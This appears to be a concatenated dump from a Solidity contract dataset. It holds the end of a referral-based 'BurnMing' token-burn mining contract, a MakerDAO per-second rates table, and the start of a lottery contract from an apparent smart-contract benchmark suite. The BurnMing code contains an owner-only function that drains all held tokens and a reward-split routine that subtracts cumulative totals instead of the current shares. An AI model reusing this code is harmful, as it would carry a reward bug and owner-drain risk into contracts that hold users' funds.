userInfo.user = msg.sender;
//
userInfo.isExisted = true;
//
userInfo.referrer = _referrer;
//
userInfo.level = Level.BORN;
// id0
userInfo.id = allUser.length;
// id
userIdAddress[userInfo.id] = msg.sender;
//
allUser.push(msg.sender);
//
emit Registration(msg.sender, _referrer);
}
return true;
}
function _burnAddPower(UserInfo storage userInfo, uint256 _value) internal returns(uint256, uint256) {
//
require(_value > userInfo.lastBurnedValue, "BurnMing: BURN_MUST_BE_BIGGER_THEN_LAST");
//
require(block.timestamp.sub(burnedInterval) >= userInfo.lastBurnedTimestamp, "BurnMing: MUST_BIGGER_THEN_INTERVAL");
//
userInfo.lastBurnedValue = _value;
//
userInfo.lastBurnedTimestamp = block.timestamp;
// = * (3)
uint256 _burnedToUSDT = _value.mul(miningMultiple);
// +=
userInfo.burnedToUSDT = userInfo.burnedToUSDT.add(_burnedToUSDT);
// = * (2)
uint256 _burnPower = _value.mul(powerMultiple);
// +=
userInfo.mintTokenPower = userInfo.mintTokenPower.add(_burnPower);
//
totalPower = totalPower.add(_burnPower);
return (_burnedToUSDT, _burnPower);
}
function _updateRefererPower(UserInfo storage refererInfo,
uint256 _value) internal returns(uint256) {
//
uint256 refererAddedPower = _value.mul(levelMultiple[refererInfo.level]) > refererInfo.burnedToUSDT ?
refererInfo.burnedToUSDT: _value.mul(levelMultiple[refererInfo.level]);
// +=
refererInfo.mintTokenPower = refererInfo.mintTokenPower.add(refererAddedPower);
//
totalPower = totalPower.add(refererAddedPower);
return refererAddedPower;
}
function canBurn(address user) public view returns(bool) {
//
UserInfo storage userInfo = addressUserInfo[user];
require(userInfo.isExisted, "BurnMing: NOT_REGISTER");
//
if (block.timestamp.sub(burnedInterval) >= userInfo.lastBurnedTimestamp) {
return true;
} else {
return false;
}
}
function burn(uint256 _value, address _referer) public running returns (bool success) {
// 100u
require(_value > 100 * 1e6, "BurnMing: VALUE_MUST_BE_BIGGER_THEN_ONE_HUNDRED");
// 1
_register(_referer);
// 2token
//
uint256 price = getTokenAveragePrice();
// token
uint256 tokenValue = _value.mul(1e20).div(price).div(1e12);
//
require(txToken.balanceOf(msg.sender) >= tokenValue, "BurnMing: INSUFFICIENT_BALANCE");
//
txToken.transferFrom(msg.sender, address(this), tokenValue);
// 3token
UserInfo storage userInfo = addressUserInfo[msg.sender];
(uint256 burnedToUSDT, uint256 burnPower) = _burnAddPower(userInfo, _value);
//
if(msg.sender != genesisUser) {
UserInfo storage refererInfo = addressUserInfo[userInfo.referrer];
// 4
_updateRefererPower(refererInfo, _value);
}
// 5
emit BurnAddPower(msg.sender, _value, tokenValue, burnedToUSDT, burnPower, price, userInfo.referrer);
return true;
}
function claimReward() public running {
//
UserInfo storage userInfo = addressUserInfo[msg.sender];
require(userInfo.isExisted, "BurnMing: NOT_REGISTER");
//
uint256 rewardNum = userInfo.pendingReward;
require(rewardNum > uint256(0), "BurnMing: ZERO_REWARD");
//
userInfo.pendingReward = 0;
//
txToken.transfer(msg.sender, rewardNum);
//
emit ClaimReward(msg.sender, rewardNum);
}
function claimFeeReward() public running {
if (msg.sender == feeToPool) {
txToken.transfer(msg.sender, pendingPoolReward);
emit ClaimPoolReward(msg.sender, pendingPoolReward);
pendingPoolReward = 0;
} else if (msg.sender == feeToTeam) {
txToken.transfer(msg.sender, pendingTeamReward);
emit ClaimTeamReward(msg.sender, pendingTeamReward);
pendingTeamReward = 0;
} else if (msg.sender == feeToPublicity) {
txToken.transfer(msg.sender, pendingPublicityReward);
emit ClaimPublicityReward(msg.sender, pendingPublicityReward);
pendingPublicityReward = 0;
}
}
function multiTransferRanking(address[] memory users, uint256[] memory rewards) public running onlyOwner {
require(users.length == rewards.length, "BurnMing: NOT_SAME");
uint256 _pendingRankReward = pendingRankReward;
for(uint256 i; i < users.length; i++) {
txToken.transfer(users[i], rewards[i]);
_pendingRankReward = _pendingRankReward.sub(rewards[i]);
}
pendingRankReward = _pendingRankReward;
}
// ****************** Owner ******************
function changeLevel(address user, Level newLevel) public onlyOwner {
require(levelMultiple[newLevel] > uint256(0), "BurnMing: LEVEL_NOT_EXIST");
//
UserInfo storage userInfo = addressUserInfo[user];
require(userInfo.isExisted, "BurnMing: NOT_REGISTER");
//
Level oldLevel = userInfo.level;
userInfo.level = newLevel;
emit ChangeLevel(user, oldLevel, newLevel);
}
function setSettling(bool _isSettling) public onlyOwner {
if(isSettling != _isSettling) {
isSettling = _isSettling;
// 24h
if(_isSettling) {
// 24h
uint256 _price = getTokenAveragePrice();
//
settlingPrice = _price;
emit StartSettling(block.number, _price);
} else {
//
lastBlockNum = block.number;
emit EndSettling(block.number);
}
}
}
function _distributeFeeReward(uint256 rewardNum) internal returns(uint256, uint256, uint256, uint256, uint256) {
//
uint256 poolReward = rewardNum.mul(30).div(1000);
//
uint256 rankReward = rewardNum.mul(12).div(1000);
//
uint256 publicityReward = rewardNum.mul(6).div(1000);
//
uint256 teamReward = rewardNum.mul(2).div(1000);
pendingPoolReward = pendingPoolReward.add(poolReward);
pendingRankReward = pendingRankReward.add(rankReward);
pendingPublicityReward = pendingPublicityReward.add(publicityReward);
pendingTeamReward = pendingTeamReward.add(teamReward);
// avoid stack too deep
rewardNum = rewardNum.sub(pendingPoolReward);
rewardNum = rewardNum.sub(pendingRankReward);
rewardNum = rewardNum.sub(pendingPublicityReward);
rewardNum = rewardNum.sub(pendingTeamReward);
return (rewardNum, poolReward, rankReward, publicityReward, teamReward);
}
// U
function distributeReward(address user, uint256 costBurnedToUSDT, uint256 costBurnedToPower, uint256 rewardNum) public settling onlyOwner {
//
UserInfo storage userInfo = addressUserInfo[user];
require(userInfo.isExisted, "BurnMing: NOT_REGISTER");
//
if(costBurnedToUSDT > userInfo.burnedToUSDT){
costBurnedToUSDT = userInfo.burnedToUSDT;
}
//
userInfo.burnedToUSDT = userInfo.burnedToUSDT.sub(costBurnedToUSDT);
//
userInfo.mintTokenPower = userInfo.mintTokenPower.sub(costBurnedToPower);
(uint256 newRewardNum, uint256 poolReward, uint256 rankReward, uint256 publicityReward, uint256 teamReward) = _distributeFeeReward(rewardNum);
// token
userInfo.pendingReward = userInfo.pendingReward.add(newRewardNum);
//
totalPower = totalPower.sub(costBurnedToPower);
emit DistributeReward(user, costBurnedToUSDT, costBurnedToPower, rewardNum, newRewardNum, poolReward, rankReward, publicityReward, teamReward);
}
//
function setLevelMultiple(Level level, uint256 multiple) public onlyOwner {
require(multiple > uint256(0), "BurnMing: MULTIPLE_MUST_BE_BIGGER_THEN_ZERO");
levelMultiple[level] = multiple;
}
// oracle
function setOracle(IOracle _oracle) public onlyOwner {
require(address(_oracle) != address(0), "BurnMing: ZERO_ADDRESS");
oracle = _oracle;
}
// TxToken
function setTxToken(IERC20 _txToken) public onlyOwner {
require(address(_txToken) != address(0), "BurnMing: ZERO_ADDRESS");
txToken = _txToken;
}
//
function setFeeToPool(address _feeToPool) public onlyOwner {
require(_feeToPool != address(0), "BurnMing: ZERO_ADDRESS");
feeToPool = _feeToPool;
}
//
function setFeeToPublicity(address _feeToPublicity) public onlyOwner {
require(_feeToPublicity != address(0), "BurnMing: ZERO_ADDRESS");
feeToPublicity = _feeToPublicity;
}
//
function setFeeToTeam(address _feeToTeam) public onlyOwner {
require(_feeToTeam != address(0), "BurnMing: ZERO_ADDRESS");
feeToTeam = _feeToTeam;
}
//
function setEpochAmount(uint256 _epochAmount) public onlyOwner {
require(_epochAmount > uint256(0), "BurnMing: AMOUNT_MUST_BE_BIGGER_THEN_ZERO");
epochAmount = _epochAmount;
}
//
function setMiningMultiple(uint256 _miningMultiple) public onlyOwner {
require(_miningMultiple > uint256(0), "BurnMing: MULTIPLE_MUST_BE_BIGGER_THEN_ZERO");
miningMultiple = _miningMultiple;
}
//
function setPowerMultiple(uint256 _powerMultiple) public onlyOwner {
require(_powerMultiple > uint256(0), "BurnMing: POWER_MULTIPLE_MUST_BE_BIGGER_THEN_ZERO");
powerMultiple = _powerMultiple;
}
//
function setBurnedInterval(uint256 _burnedInterval) public onlyOwner {
burnedInterval = _burnedInterval;
}
//
function emergencyWithdraw(address _token) public onlyOwner {
require(IERC20(_token).balanceOf(address(this)) > 0, "BurnMing: INSUFFICIENT_BALANCE");
IERC20(_token).transfer(msg.sender, IERC20(_token).balanceOf(address(this)));
}
}
| 287,351 | 13,195 |
addfecd339708510bd878c5b36438a8c10cad7d9d119883d593e34ef71d6b4a9
| 22,302 |
.sol
|
Solidity
| false |
393129023
|
makerdao/spells-goerli
|
2f9db10a3072564abad97e4511fe57d59c28f5ba
|
archive/2022-05-20-DssSpell/test/rates.sol
| 16,341 | 22,296 |
// SPDX-License-Identifier: AGPL-3.0-or-later
//
// Copyright (C) 2021-2022 Dai Foundation
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.12;
contract Rates {
mapping (uint256 => uint256) public rates;
constructor() public {
rates[ 0] = 1000000000000000000000000000;
rates[ 1] = 1000000000003170820659990704;
rates[ 5] = 1000000000015850933588756013;
rates[ 10] = 1000000000031693947650284507;
rates[ 25] = 1000000000079175551708715274;
rates[ 50] = 1000000000158153903837946257;
rates[ 75] = 1000000000236936036262880196;
rates[ 100] = 1000000000315522921573372069;
rates[ 125] = 1000000000393915525145987602;
rates[ 150] = 1000000000472114805215157978;
rates[ 175] = 1000000000550121712943459312;
rates[ 200] = 1000000000627937192491029810;
rates[ 225] = 1000000000705562181084137268;
rates[ 250] = 1000000000782997609082909351;
rates[ 275] = 1000000000860244400048238898;
rates[ 300] = 1000000000937303470807876289;
rates[ 325] = 1000000001014175731521720677;
rates[ 350] = 1000000001090862085746321732;
rates[ 375] = 1000000001167363430498603315;
rates[ 400] = 1000000001243680656318820312;
rates[ 425] = 1000000001319814647332759691;
rates[ 450] = 1000000001395766281313196627;
rates[ 475] = 1000000001471536429740616381;
rates[ 500] = 1000000001547125957863212448;
rates[ 525] = 1000000001622535724756171269;
rates[ 550] = 1000000001697766583380253701;
rates[ 575] = 1000000001772819380639683201;
rates[ 600] = 1000000001847694957439350562;
rates[ 625] = 1000000001922394148741344865;
rates[ 650] = 1000000001996917783620820123;
rates[ 675] = 1000000002071266685321207000;
rates[ 700] = 1000000002145441671308778766;
rates[ 725] = 1000000002219443553326580536;
rates[ 750] = 1000000002293273137447730714;
rates[ 775] = 1000000002366931224128103346;
rates[ 800] = 1000000002440418608258400030;
rates[ 825] = 1000000002513736079215619839;
rates[ 850] = 1000000002586884420913935572;
rates[ 875] = 1000000002659864411854984565;
rates[ 900] = 1000000002732676825177582095;
rates[ 925] = 1000000002805322428706865331;
rates[ 950] = 1000000002877801985002875644;
rates[ 975] = 1000000002950116251408586949;
rates[ 1000] = 1000000003022265980097387650;
rates[ 1025] = 1000000003094251918120023627;
rates[ 1050] = 1000000003166074807451009595;
rates[ 1075] = 1000000003237735385034516037;
rates[ 1100] = 1000000003309234382829738808;
rates[ 1125] = 1000000003380572527855758393;
rates[ 1150] = 1000000003451750542235895695;
rates[ 1175] = 1000000003522769143241571114;
rates[ 1200] = 1000000003593629043335673582;
rates[ 1225] = 1000000003664330950215446102;
rates[ 1250] = 1000000003734875566854894261;
rates[ 1275] = 1000000003805263591546724039;
rates[ 1300] = 1000000003875495717943815211;
rates[ 1325] = 1000000003945572635100236468;
rates[ 1350] = 1000000004015495027511808328;
rates[ 1375] = 1000000004085263575156219812;
rates[ 1400] = 1000000004154878953532704765;
rates[ 1425] = 1000000004224341833701283597;
rates[ 1450] = 1000000004293652882321576158;
rates[ 1475] = 1000000004362812761691191350;
rates[ 1500] = 1000000004431822129783699001;
rates[ 1525] = 1000000004500681640286189459;
rates[ 1550] = 1000000004569391942636426248;
rates[ 1575] = 1000000004637953682059597074;
rates[ 1600] = 1000000004706367499604668374;
rates[ 1625] = 1000000004774634032180348552;
rates[ 1650] = 1000000004842753912590664903;
rates[ 1675] = 1000000004910727769570159235;
rates[ 1700] = 1000000004978556227818707070;
rates[ 1725] = 1000000005046239908035965222;
rates[ 1750] = 1000000005113779426955452540;
rates[ 1775] = 1000000005181175397378268462;
rates[ 1800] = 1000000005248428428206454010;
rates[ 1825] = 1000000005315539124475999751;
rates[ 1850] = 1000000005382508087389505206;
rates[ 1875] = 1000000005449335914348494113;
rates[ 1900] = 1000000005516023198985389892;
rates[ 1925] = 1000000005582570531195155575;
rates[ 1950] = 1000000005648978497166602432;
rates[ 1975] = 1000000005715247679413371444;
rates[ 2000] = 1000000005781378656804591712;
rates[ 2025] = 1000000005847372004595219844;
rates[ 2050] = 1000000005913228294456064283;
rates[ 2075] = 1000000005978948094503498507;
rates[ 2100] = 1000000006044531969328866955;
rates[ 2125] = 1000000006109980480027587488;
rates[ 2150] = 1000000006175294184227954125;
rates[ 2175] = 1000000006240473636119643770;
rates[ 2200] = 1000000006305519386481930552;
rates[ 2225] = 1000000006370431982711611382;
rates[ 2250] = 1000000006435211968850646270;
rates[ 2275] = 1000000006499859885613516871;
rates[ 2300] = 1000000006564376270414306730;
rates[ 2325] = 1000000006628761657393506584;
rates[ 2350] = 1000000006693016577444548094;
rates[ 2375] = 1000000006757141558240069277;
rates[ 2400] = 1000000006821137124257914908;
rates[ 2425] = 1000000006885003796806875073;
rates[ 2450] = 1000000006948742094052165050;
rates[ 2475] = 1000000007012352531040649627;
rates[ 2500] = 1000000007075835619725814915;
rates[ 2525] = 1000000007139191868992490695;
rates[ 2550] = 1000000007202421784681326287;
rates[ 2575] = 1000000007265525869613022867;
rates[ 2600] = 1000000007328504623612325153;
rates[ 2625] = 1000000007391358543531775311;
rates[ 2650] = 1000000007454088123275231904;
rates[ 2675] = 1000000007516693853821156670;
rates[ 2700] = 1000000007579176223245671878;
rates[ 2725] = 1000000007641535716745390957;
rates[ 2750] = 1000000007703772816660025079;
rates[ 2775] = 1000000007765888002494768329;
rates[ 2800] = 1000000007827881750942464045;
rates[ 2825] = 1000000007889754535905554913;
rates[ 2850] = 1000000007951506828517819323;
rates[ 2875] = 1000000008013139097165896490;
rates[ 2900] = 1000000008074651807510602798;
rates[ 2925] = 1000000008136045422508041783;
rates[ 2950] = 1000000008197320402430510158;
rates[ 2975] = 1000000008258477204887202245;
rates[ 3000] = 1000000008319516284844715115;
rates[ 3025] = 1000000008380438094647356774;
rates[ 3050] = 1000000008441243084037259619;
rates[ 3075] = 1000000008501931700174301437;
rates[ 3100] = 1000000008562504387655836125;
rates[ 3125] = 1000000008622961588536236324;
rates[ 3150] = 1000000008683303742346250114;
rates[ 3175] = 1000000008743531286112173869;
rates[ 3200] = 1000000008803644654374843395;
rates[ 3225] = 1000000008863644279208445392;
rates[ 3250] = 1000000008923530590239151272;
rates[ 3275] = 1000000008983304014663575373;
rates[ 3300] = 1000000009042964977267059505;
rates[ 3325] = 1000000009102513900441785827;
rates[ 3350] = 1000000009161951204204719966;
rates[ 3375] = 1000000009221277306215386279;
rates[ 3400] = 1000000009280492621793477151;
rates[ 3425] = 1000000009339597563936298181;
rates[ 3450] = 1000000009398592543336051086;
rates[ 3475] = 1000000009457477968396956129;
rates[ 3500] = 1000000009516254245252215861;
rates[ 3525] = 1000000009574921777780821942;
rates[ 3550] = 1000000009633480967624206760;
rates[ 3575] = 1000000009691932214202741592;
rates[ 3600] = 1000000009750275914732082986;
rates[ 3625] = 1000000009808512464239369028;
rates[ 3650] = 1000000009866642255579267166;
rates[ 3675] = 1000000009924665679449875210;
rates[ 3700] = 1000000009982583124408477109;
rates[ 3725] = 1000000010040394976887155106;
rates[ 3750] = 1000000010098101621208259840;
rates[ 3775] = 1000000010155703439599739931;
rates[ 3800] = 1000000010213200812210332586;
rates[ 3825] = 1000000010270594117124616733;
rates[ 3850] = 1000000010327883730377930177;
rates[ 3875] = 1000000010385070025971152244;
rates[ 3900] = 1000000010442153375885353361;
rates[ 3925] = 1000000010499134150096313024;
rates[ 3950] = 1000000010556012716588907553;
rates[ 3975] = 1000000010612789441371369043;
rates[ 4000] = 1000000010669464688489416886;
rates[ 4025] = 1000000010726038820040263233;
rates[ 4050] = 1000000010782512196186493739;
rates[ 4075] = 1000000010838885175169824929;
rates[ 4100] = 1000000010895158113324739488;
rates[ 4125] = 1000000010951331365092000772;
rates[ 4150] = 1000000011007405283032047846;
rates[ 4175] = 1000000011063380217838272275;
rates[ 4200] = 1000000011119256518350177948;
rates[ 4225] = 1000000011175034531566425160;
rates[ 4250] = 1000000011230714602657760176;
rates[ 4275] = 1000000011286297074979831462;
rates[ 4300] = 1000000011341782290085893805;
rates[ 4325] = 1000000011397170587739401474;
rates[ 4350] = 1000000011452462305926491579;
rates[ 4375] = 1000000011507657780868358802;
rates[ 4400] = 1000000011562757347033522598;
rates[ 4425] = 1000000011617761337149988016;
rates[ 4450] = 1000000011672670082217301219;
rates[ 4475] = 1000000011727483911518500818;
rates[ 4500] = 1000000011782203152631966084;
rates[ 4525] = 1000000011836828131443163102;
rates[ 4550] = 1000000011891359172156289942;
rates[ 4575] = 1000000011945796597305821848;
rates[ 4600] = 1000000012000140727767957524;
rates[ 4625] = 1000000012054391882771967477;
rates[ 4650] = 1000000012108550379911445472;
rates[ 4675] = 1000000012162616535155464050;
rates[ 4700] = 1000000012216590662859635112;
rates[ 4725] = 1000000012270473075777076530;
rates[ 4750] = 1000000012324264085069285747;
rates[ 4775] = 1000000012377964000316921287;
rates[ 4800] = 1000000012431573129530493155;
rates[ 4825] = 1000000012485091779160962996;
rates[ 4850] = 1000000012538520254110254976;
rates[ 4875] = 1000000012591858857741678240;
rates[ 4900] = 1000000012645107891890261872;
rates[ 4925] = 1000000012698267656873003228;
rates[ 4950] = 1000000012751338451499030498;
rates[ 4975] = 1000000012804320573079680371;
rates[ 5000] = 1000000012857214317438491659;
rates[ 5025] = 1000000012910019978921115695;
rates[ 5050] = 1000000012962737850405144363;
rates[ 5075] = 1000000013015368223309856554;
rates[ 5100] = 1000000013067911387605883890;
rates[ 5125] = 1000000013120367631824796485;
rates[ 5150] = 1000000013172737243068609553;
rates[ 5175] = 1000000013225020507019211652;
rates[ 5200] = 1000000013277217707947715318;
rates[ 5225] = 1000000013329329128723730871;
rates[ 5250] = 1000000013381355050824564143;
rates[ 5275] = 1000000013433295754344338876;
rates[ 5300] = 1000000013485151518003044532;
rates[ 5325] = 1000000013536922619155510237;
rates[ 5350] = 1000000013588609333800305597;
rates[ 5375] = 1000000013640211936588569081;
rates[ 5400] = 1000000013691730700832764691;
rates[ 5425] = 1000000013743165898515367617;
rates[ 5450] = 1000000013794517800297479554;
rates[ 5475] = 1000000013845786675527374380;
rates[ 5500] = 1000000013896972792248974855;
rates[ 5525] = 1000000013948076417210261020;
rates[ 5550] = 1000000013999097815871610946;
rates[ 5575] = 1000000014050037252414074493;
rates[ 5600] = 1000000014100894989747580713;
rates[ 5625] = 1000000014151671289519079548;
rates[ 5650] = 1000000014202366412120618444;
rates[ 5675] = 1000000014252980616697354502;
rates[ 5700] = 1000000014303514161155502800;
rates[ 5725] = 1000000014353967302170221464;
rates[ 5750] = 1000000014404340295193434124;
rates[ 5775] = 1000000014454633394461590334;
rates[ 5800] = 1000000014504846853003364537;
rates[ 5825] = 1000000014554980922647294184;
rates[ 5850] = 1000000014605035854029357558;
rates[ 5875] = 1000000014655011896600491882;
rates[ 5900] = 1000000014704909298634052283;
rates[ 5925] = 1000000014754728307233212158;
rates[ 5950] = 1000000014804469168338305494;
rates[ 5975] = 1000000014854132126734111701;
rates[ 6000] = 1000000014903717426057083481;
rates[ 6025] = 1000000014953225308802518272;
rates[ 6050] = 1000000015002656016331673799;
rates[ 6075] = 1000000015052009788878828253;
rates[ 6100] = 1000000015101286865558285606;
rates[ 6125] = 1000000015150487484371326590;
rates[ 6150] = 1000000015199611882213105818;
rates[ 6175] = 1000000015248660294879495575;
rates[ 6200] = 1000000015297632957073876761;
rates[ 6225] = 1000000015346530102413877471;
rates[ 6250] = 1000000015395351963438059699;
rates[ 6275] = 1000000015444098771612554646;
rates[ 6300] = 1000000015492770757337647112;
rates[ 6325] = 1000000015541368149954309419;
rates[ 6350] = 1000000015589891177750685357;
rates[ 6375] = 1000000015638340067968524580;
rates[ 6400] = 1000000015686715046809567945;
rates[ 6425] = 1000000015735016339441884188;
rates[ 6450] = 1000000015783244170006158447;
rates[ 6475] = 1000000015831398761621933006;
rates[ 6500] = 1000000015879480336393800741;
rates[ 6525] = 1000000015927489115417551681;
rates[ 6550] = 1000000015975425318786273105;
rates[ 6575] = 1000000016023289165596403599;
rates[ 6600] = 1000000016071080873953741499;
rates[ 6625] = 1000000016118800660979408115;
rates[ 6650] = 1000000016166448742815766155;
rates[ 6675] = 1000000016214025334632293755;
rates[ 6700] = 1000000016261530650631414500;
rates[ 6725] = 1000000016308964904054283846;
rates[ 6750] = 1000000016356328307186532328;
rates[ 6775] = 1000000016403621071363965932;
rates[ 6800] = 1000000016450843406978224029;
rates[ 6825] = 1000000016497995523482395247;
rates[ 6850] = 1000000016545077629396591637;
rates[ 6875] = 1000000016592089932313481533;
rates[ 6900] = 1000000016639032638903781446;
rates[ 6925] = 1000000016685905954921707380;
rates[ 6950] = 1000000016732710085210385903;
rates[ 6975] = 1000000016779445233707225354;
rates[ 7000] = 1000000016826111603449247521;
rates[ 7025] = 1000000016872709396578380147;
rates[ 7050] = 1000000016919238814346710603;
rates[ 7075] = 1000000016965700057121701072;
rates[ 7100] = 1000000017012093324391365593;
rates[ 7125] = 1000000017058418814769409273;
rates[ 7150] = 1000000017104676726000330021;
rates[ 7175] = 1000000017150867254964483131;
rates[ 7200] = 1000000017196990597683109018;
rates[ 7225] = 1000000017243046949323324453;
rates[ 7250] = 1000000017289036504203077600;
rates[ 7275] = 1000000017334959455796067168;
rates[ 7300] = 1000000017380815996736626004;
rates[ 7325] = 1000000017426606318824569415;
rates[ 7350] = 1000000017472330613030008543;
rates[ 7375] = 1000000017517989069498129080;
rates[ 7400] = 1000000017563581877553935633;
rates[ 7425] = 1000000017609109225706962029;
rates[ 7450] = 1000000017654571301655947851;
rates[ 7475] = 1000000017699968292293481503;
rates[ 7500] = 1000000017745300383710610088;
rates[ 7525] = 1000000017790567761201416374;
rates[ 7550] = 1000000017835770609267563142;
rates[ 7575] = 1000000017880909111622805195;
rates[ 7600] = 1000000017925983451197469286;
rates[ 7625] = 1000000017970993810142902264;
rates[ 7650] = 1000000018015940369835887686;
rates[ 7675] = 1000000018060823310883031179;
rates[ 7700] = 1000000018105642813125114801;
rates[ 7725] = 1000000018150399055641420686;
rates[ 7750] = 1000000018195092216754024201;
rates[ 7775] = 1000000018239722474032056911;
rates[ 7800] = 1000000018284290004295939569;
rates[ 7825] = 1000000018328794983621585414;
rates[ 7850] = 1000000018373237587344574003;
rates[ 7875] = 1000000018417617990064295840;
rates[ 7900] = 1000000018461936365648068049;
rates[ 7925] = 1000000018506192887235221305;
rates[ 7950] = 1000000018550387727241158310;
rates[ 7975] = 1000000018594521057361384012;
rates[ 8000] = 1000000018638593048575507813;
rates[ 8025] = 1000000018682603871151218019;
rates[ 8050] = 1000000018726553694648228732;
rates[ 8075] = 1000000018770442687922199432;
rates[ 8100] = 1000000018814271019128627481;
rates[ 8125] = 1000000018858038855726713746;
rates[ 8150] = 1000000018901746364483201594;
rates[ 8175] = 1000000018945393711476189463;
rates[ 8200] = 1000000018988981062098917230;
rates[ 8225] = 1000000019032508581063526585;
rates[ 8250] = 1000000019075976432404795643;
rates[ 8275] = 1000000019119384779483847985;
rates[ 8300] = 1000000019162733784991836346;
rates[ 8325] = 1000000019206023610953601168;
rates[ 8350] = 1000000019249254418731304205;
rates[ 8375] = 1000000019292426369028037391;
rates[ 8400] = 1000000019335539621891407188;
rates[ 8425] = 1000000019378594336717094581;
rates[ 8450] = 1000000019421590672252390959;
rates[ 8475] = 1000000019464528786599710033;
rates[ 8500] = 1000000019507408837220076029;
rates[ 8525] = 1000000019550230980936588320;
rates[ 8550] = 1000000019592995373937862689;
rates[ 8575] = 1000000019635702171781449432;
rates[ 8600] = 1000000019678351529397228463;
rates[ 8625] = 1000000019720943601090781625;
rates[ 8650] = 1000000019763478540546742376;
rates[ 8675] = 1000000019805956500832123050;
rates[ 8700] = 1000000019848377634399619849;
rates[ 8725] = 1000000019890742093090895767;
rates[ 8750] = 1000000019933050028139841613;
rates[ 8775] = 1000000019975301590175815296;
rates[ 8800] = 1000000020017496929226859581;
rates[ 8825] = 1000000020059636194722898437;
rates[ 8850] = 1000000020101719535498912200;
rates[ 8875] = 1000000020143747099798091677;
rates[ 8900] = 1000000020185719035274971385;
rates[ 8925] = 1000000020227635488998542076;
rates[ 8950] = 1000000020269496607455342719;
rates[ 8975] = 1000000020311302536552532106;
rates[ 9000] = 1000000020353053421620940223;
rates[ 9025] = 1000000020394749407418099573;
rates[ 9050] = 1000000020436390638131256590;
rates[ 9075] = 1000000020477977257380363298;
rates[ 9100] = 1000000020519509408221049399;
rates[ 9125] = 1000000020560987233147574896;
rates[ 9150] = 1000000020602410874095763456;
rates[ 9175] = 1000000020643780472445916617;
rates[ 9200] = 1000000020685096169025709028;
rates[ 9225] = 1000000020726358104113064837;
rates[ 9250] = 1000000020767566417439015395;
rates[ 9275] = 1000000020808721248190538424;
rates[ 9300] = 1000000020849822735013378765;
rates[ 9325] = 1000000020890871016014850891;
rates[ 9350] = 1000000020931866228766623286;
rates[ 9375] = 1000000020972808510307484860;
rates[ 9400] = 1000000021013697997146093523;
rates[ 9425] = 1000000021054534825263707061;
rates[ 9450] = 1000000021095319130116896449;
rates[ 9475] = 1000000021136051046640241741;
rates[ 9500] = 1000000021176730709249010667;
rates[ 9525] = 1000000021217358251841820063;
rates[ 9550] = 1000000021257933807803280285;
rates[ 9575] = 1000000021298457510006622716;
rates[ 9600] = 1000000021338929490816310513;
rates[ 9625] = 1000000021379349882090632705;
rates[ 9650] = 1000000021419718815184281790;
rates[ 9675] = 1000000021460036420950914938;
rates[ 9700] = 1000000021500302829745698932;
rates[ 9725] = 1000000021540518171427838973;
rates[ 9750] = 1000000021580682575363091474;
rates[ 9775] = 1000000021620796170426260951;
rates[ 9800] = 1000000021660859085003681151;
rates[ 9825] = 1000000021700871446995680519;
rates[ 9850] = 1000000021740833383819032127;
rates[ 9875] = 1000000021780745022409388199;
rates[ 9900] = 1000000021820606489223699321;
rates[ 9925] = 1000000021860417910242618463;
rates[ 9950] = 1000000021900179410972889943;
rates[ 9975] = 1000000021939891116449723415;
rates[10000] = 1000000021979553151239153027;
}
}
| 234,593 | 13,196 |
8b0bf484f169ac641260af0ab8628fe6a623495db86bf5ac23963c4f4f6f1879
| 17,046 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xbaf9fa296e7d27d60bbcc10a940d5d60dde16408.sol
| 4,003 | 16,243 |
pragma solidity 0.5.2;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "");
owner = newOwner;
}
}
contract Manageable is Ownable {
mapping(address => bool) public listOfManagers;
modifier onlyManager() {
require(listOfManagers[msg.sender], "");
_;
}
function addManager(address _manager) public onlyOwner returns (bool success) {
if (!listOfManagers[_manager]) {
require(_manager != address(0), "");
listOfManagers[_manager] = true;
success = true;
}
}
function removeManager(address _manager) public onlyOwner returns (bool success) {
if (listOfManagers[_manager]) {
listOfManagers[_manager] = false;
success = true;
}
}
function getInfo(address _manager) public view returns (bool) {
return listOfManagers[_manager];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "");
return a % b;
}
}
contract iRNG {
function update(uint roundNumber, uint additionalNonce, uint period) public payable;
}
contract iKYCWhitelist {
function isWhitelisted(address _participant) public view returns (bool);
}
contract BaseLottery is Manageable {
using SafeMath for uint;
enum RoundState {NOT_STARTED, ACCEPT_FUNDS, WAIT_RESULT, SUCCESS, REFUND}
struct Round {
RoundState state;
uint ticketsCount;
uint participantCount;
TicketsInterval[] tickets;
address[] participants;
uint random;
uint nonce;
uint startRoundTime;
uint[] winningTickets;
address[] winners;
uint roundFunds;
mapping(address => uint) winnersFunds;
mapping(address => uint) participantFunds;
mapping(address => bool) sendGain;
}
struct TicketsInterval {
address participant;
uint firstTicket;
uint lastTicket;
}
uint constant public NUMBER_OF_WINNERS = 10;
uint constant public SHARE_DENOMINATOR = 10000;
uint constant public ORACLIZE_TIMEOUT = 86400;
uint[] public shareOfWinners = [5000, 2500, 1250, 620, 320, 160, 80, 40, 20, 10];
address payable public organiser;
uint constant public ORGANISER_PERCENT = 20;
uint constant public ROUND_FUND_PERCENT = 80;
iKYCWhitelist public KYCWhitelist;
uint public period;
address public mainLottery;
address public management;
address payable public rng;
mapping (uint => Round) public rounds;
uint public ticketPrice;
uint public currentRound;
